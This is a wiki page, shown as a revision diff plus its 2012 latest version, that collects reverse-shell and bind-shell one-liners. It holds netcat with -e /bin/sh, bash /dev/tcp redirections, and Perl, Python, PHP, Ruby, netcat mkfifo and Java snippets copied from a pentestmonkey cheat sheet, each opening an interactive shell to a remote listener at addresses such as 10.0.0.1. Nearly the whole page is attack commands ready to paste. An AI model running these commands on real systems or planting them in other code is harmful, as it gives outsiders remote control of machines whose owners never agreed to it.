Difference between revisions of "Netcat Pushingcats"

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−
'''Netcat Send connection.'''
+
==== Basic Netcat ====
 +
Listen connection shell
 +
Server1:
 +
<pre>
 +
nc -l -p 8888 -e /bin/sh
 +
</pre>
 +
Server2:
 +
<pre>
 +
nc 222.222.222.222 8888
 +
</pre>
 +
 
 +
 
 +
==== Netcat Send Shell to listener. ====
 
----
 
----
−
'''Listenner'''
+
'''Listener'''
 
<pre>
 
<pre>
 
#nc -l -n -vv -p 8888
 
#nc -l -n -vv -p 8888
Line 8: Line 20:
 
'''Sender'''
 
'''Sender'''
 
<pre>
 
<pre>
−
#/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1
+
#/bin/bash -i > /dev/tcp/22.222.22.222/8888 0<&1 2>&1
 
</pre>
 
</pre>
  
−
'''Another method of reverse shell in bash'''<br />
+
==== Another method of reverse shell in bash ====
 +
<br />
  
 
1st method, you get the prompt “as if you were here”, but commands are echoed :
 
1st method, you get the prompt “as if you were here”, but commands are echoed :
Line 21: Line 34:
 
/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
 
/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
 
</pre>
 
</pre>
 +
------------------
 +
==== Pentestmonkey ====
 +
 +
===== Bash =====
 +
 +
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
 +
<pre>
 +
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 +
</pre>
 +
===== PERL =====
 +
 +
Here’s a shorter, feature-free version of the [http://pentestmonkey.net/tools/web-shells/perl-reverse-shell perl-reverse-shell]:
 +
<pre>
 +
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 +
</pre>
 +
There’s also an alternative PERL revere shell here.
 +
===== Python =====
 +
 +
This was tested under Linux / Python 2.7:
 +
<pre>
 +
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 +
</pre>
 +
===== PHP =====
 +
 +
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
 +
<pre>
 +
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 +
</pre>
 +
If you want a .php file to upload, see the more featureful and robust [http://pentestmonkey.net/tools/web-shells/php-reverse-shell php-reverse-shell].
 +
===== Ruby =====
 +
<pre>
 +
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 +
</pre>
 +
===== Netcat =====
 +
 +
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
 +
<pre>
 +
nc -e /bin/sh 10.0.0.1 1234
 +
</pre>
 +
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
 +
<pre>
 +
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 +
</pre>
 +
===== Java =====
 +
<pre>
 +
r = Runtime.getRuntime()
 +
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 +
p.waitFor()
 +
</pre>
 +
 +
----------
 +
[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Source]

Latest revision as of 14:47, 14 December 2012

Basic Netcat

Listen connection shell Server1: 

nc -l -p 8888 -e /bin/sh

Server2: 

nc 222.222.222.222 8888


Netcat Send Shell to listener.

Listener 

#nc -l -n -vv -p 8888

Sender 

#/bin/bash -i > /dev/tcp/22.222.22.222/8888 0<&1 2>&1

Another method of reverse shell in bash


1st method, you get the prompt “as if you were here”, but commands are echoed : 

exec 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2

2nd method, less sexy, but no echo. 

/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2

Pentestmonkey

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): 

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL

Here’s a shorter, feature-free version of the perl-reverse-shell: 

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7: 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6… 

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option. 

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this: 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Source

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